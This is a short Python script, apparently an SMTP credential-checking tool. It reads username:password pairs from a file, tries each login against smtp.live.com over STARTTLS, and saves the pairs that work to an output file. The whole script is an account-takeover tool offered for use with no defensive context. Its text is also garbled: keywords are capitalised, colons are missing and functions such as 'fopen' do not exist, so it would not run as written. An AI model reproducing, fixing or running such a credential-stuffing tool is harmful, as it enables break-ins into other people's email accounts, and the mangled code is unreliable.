#-*-Coding:utf-8-*-
Import Smtplib
Import Sys
Import time
Import threading
Class Mythread (threading. Thread):
def __init__ (SELF,USERNAME,PWD):
Threading. Thread.__init__ (self)
Self.username=username
Self.pwd=pwd
def run (self):
Try
Server= ' smtp.live.com '
Fp=fopen (Self.username)
Fp1=open (Self.pwd, ' W ')
Except Exception:
Print (' Files fopen Error ')
For line in Fp.readlines ():
Lines=line.split (")
Uname=lines[0]
PASSWORD=LINES[1]
Password=password.split (' \ n ') [0]
Smtp=smtplib. SMTP (server,587)
Try
Smtp.ehlo ()
Smtp.starttls ()
Smtp.ehlo ()
#smtp. Login.ssl (Uname,password) enable SSL Plus
Smtp.login (Uname,password)
Except Exception:
Print (' [-]:%s:%s '% (Uname,password))
Time.sleep (1)
Else
Out= ' [+]:%s:%s '% (Uname,password)
Print (out)
Fp1.write (out)
Fp1.flush ()
If __name__== ' __main__ ':
Mythread (Sys.argv[1],sys.argv[2]). Start ()
Python Scan script Port customization